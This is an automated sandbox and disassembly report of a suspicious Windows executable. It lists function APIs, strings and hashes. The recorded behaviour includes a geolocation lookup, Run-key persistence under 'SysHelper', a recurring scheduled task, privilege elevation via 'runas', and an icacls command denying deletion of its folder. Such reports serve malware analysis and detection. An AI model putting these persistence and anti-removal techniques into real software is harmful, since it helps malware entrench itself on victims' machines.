Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 4a2aa44cf91ce9eddc648e3b072d552fe0e8780e72f4c68305a23692dbb0d01a
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 20919E71D00218EAEF21EFA4CC59BEEBBB5EF05308F14416AD505772C0DBB65A48CB65

Uniqueness

Uniqueness Score: -1.00%

Function 05DEA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DEA858
_memset.LIBCMT ref: 05DEA869
_memset.LIBCMT ref: 05DEA87A

Strings

p2Q, xrefs: 05DEA882

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 984ceb362d95c0ce49f8360e863073572cbb67a2117976e8b0d254fff725bf9a
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 69F0E578694750A5F7117750FC2A7957E917B31B04F104045D1142E3E1D3FD234C679A

Uniqueness

Uniqueness Score: -1.00%

Function 05E1FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E1FBF1

Part of subcall function 05E0169C: std::exception::_Copy_str.LIBCMT ref: 05E016B5

__CxxThrowException@8.LIBCMT ref: 05E1FC06

Strings

TeM, xrefs: 05E1FBFB, 05E1FBE7
TeM, xrefs: 05E1FBFE

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 749fa8b4feedc4093f1804413be87e79373e968ebd723e486d12a33d4e3752de
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 78D06775D0020DBBCB04EFA5E859CDDBBBCAA04344B009466A954AB281EA74E389CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05DDD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05DF197D: __wfsopen.LIBCMT ref: 05DF1988

_fgetws.LIBCMT ref: 05DDD15C

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 08670f0e3003e28eaea87e60498eb750eb77404c9e141b2682450f72ba5a3f1b
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: A6917071D00219ABCF21EFA4CD45BAEFBB6FF04304F15052AE955A3240E775AA04CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 05DDD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05DDD77E
_malloc.LIBCMT ref: 05DDD7B2
_malloc.LIBCMT ref: 05DDD7C1
_fprintf.LIBCMT ref: 05DDD815

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 36c0fafda607eef209d01a83b1e20d58f941caaa1a3ae45994162c2efb598985
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 99A17AB1D00258EBEF11EFA4CC49BDEBBB5EF15304F140029D5057B291E7B65A88CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05DF2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DF2B2E
__read_nolock.LIBCMT ref: 05DF2BFE
__filbuf.LIBCMT ref: 05DF2C21
_memset.LIBCMT ref: 05DF2C65

Part of subcall function 05DF5BA8: __getptd_noexit.LIBCMT ref: 05DF5BA8

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 4a10fb98c7b72b75c7a37646fa861fb37a927b728cc4404d498effeb20448add
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 1551C038A043059BDB24CFA98C846AE77B6FF40325F16832BEE76D62D4D7709950CB50

Uniqueness

Uniqueness Score: -1.00%

Function 05E11359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05E1137D

Part of subcall function 05E11A9D: __fltout2.LIBCMT ref: 05E11AC6

__cftog_l.LIBCMT ref: 05E113A3
__cftoe_l.LIBCMT ref: 05E113D5

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: cf8bccc9b088b48a65d9bda1e5686f15482facb05c2c6dbd4fb5035fdfd75902
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 19017B3280414EFBCF1A5E84DC05CEE3F63BB18254B499415FF9998434D232C5B2EB85

Uniqueness

Uniqueness Score: -1.00%

Function 05E97A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05E97A4B

Part of subcall function 05E98140: ___BuildCatchObjectHelper.LIBCMT ref: 05E98172
Part of subcall function 05E98140: ___AdjustPointer.LIBCMT ref: 05E98189

_UnwindNestedFrames.LIBCMT ref: 05E97A62
___FrameUnwindToState.LIBCMT ref: 05E97A74
CallCatchBlock.LIBCMT ref: 05E97A98

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: eb38ba561d13aeefb9fe04b331f0eeffc388a203794381d1731dd4738a8dafd3
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 24016532500108BBDF16AF95CC04EEE3BBAFF49758F009015FE8862120C372E9A1DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 004040F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004090F5
___raise_securityfailure.LIBCMT ref: 004091DC

Strings

p+K, xrefs: 004091D7

Memory Dump Source

Source File: 00000000.00000002.1651041064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1651027074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651058049.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651072889.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651087458.000000000041B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651087458.0000000000420000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651159611.00000000004B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651159611.000000000409E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1653446038.00000000040A0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_AaIo4VGgvO.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: p+K
API String ID: 3761405300-1020187699
Opcode ID: c68512b5ddb97bd90db944fbb500f29dc4b9f3428971be303e8ae4b51bf81535
Instruction ID: 03c6e51b6d16d4fe110717ddcdfb847e0865752bd116ac00f98534b8973de14d
Opcode Fuzzy Hash: c68512b5ddb97bd90db944fbb500f29dc4b9f3428971be303e8ae4b51bf81535
Instruction Fuzzy Hash: E721D3B45102059BE715CF29FA966587BB4BB48314F10873AE9089B3B1EBF49A81CF4D

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AaIo4VGgvO.exePID: 7344, Parent PID: 7328COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	35.9%
Total number of Nodes:	829
Total number of Limit Nodes:	23

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,005CB320,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

--Task, xrefs: 0041A2CD
D:\Program Files\Google\, xrefs: 0041B0EE
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
--AutoStart, xrefs: 0041A2EC
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
<, xrefs: 0041A67B
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
F:\, xrefs: 0041B397
C:\Program Files\Google\, xrefs: 0041AFB9
7P, xrefs: 0041B164
I:\5d2860c89d774.jpg, xrefs: 0041B32F
--Service, xrefs: 0041A30B
D:\Windows\, xrefs: 0041AFF3
x2Q, xrefs: 0041A856
runas, xrefs: 0041A6CE
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
--Admin, xrefs: 0041A1B4, 0041A632
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
IsTask, xrefs: 0041A1EE, 0041A299
IsAutoStart, xrefs: 0041A1D0, 0041A273
x*P, xrefs: 0041ACE4
X1P, xrefs: 0041A485
IsNotAutoStart, xrefs: 0041A645
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
C:\Windows\, xrefs: 0041AE0F
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
D:\Program Files (x86)\Google\, xrefs: 0041B085
--ForNetRes, xrefs: 0041A22E
list<T> too long, xrefs: 0041B669, 0041B673
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
%username%, xrefs: 0041B283
IsNotTask, xrefs: 0041A654
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

Trigger1, xrefs: 0040D6FA
--Task, xrefs: 0040D8DD
PT5M, xrefs: 0040D5A1, 0040D66C
Time Trigger Task, xrefs: 0040D43C, 0040D973
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
2030-05-02T08:00:00, xrefs: 0040D737
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
Author Name, xrefs: 0040D4C8

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

kernel32.dll, xrefs: 0041224E
EnumProcessModules, xrefs: 0041226C, 004122A1
EnumProcesses, xrefs: 00412264, 00412299
Psapi.dll, xrefs: 0041228C
GetModuleBaseNameW, xrefs: 00412277, 004122AC

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

Microsoft Internet Explorer, xrefs: 0040CF5A
https://api.2ip.ua/geo.json, xrefs: 0040CF79
"country_code":", xrefs: 0040CFE1

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
SHGetFolderPathW, xrefs: 00411E9F
SysHelper, xrefs: 00411D5B, 004120EB
Shell32.dll, xrefs: 00411E94
D, xrefs: 00412128
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" --AutoStart, xrefs: 004120C2
icacls ", xrefs: 0041214C
" --AutoStart, xrefs: 00411DD1

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1667869064.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1667869064.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 004240F6 Relevance: 7.5, APIs: 5, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsetenvp.LIBCMT ref: 0042404A
__amsg_exit.LIBCMT ref: 00424055
__cinit.LIBCMT ref: 0042405D
__amsg_exit.LIBCMT ref: 00424068
__wwincmdln.LIBCMT ref: 0042406E

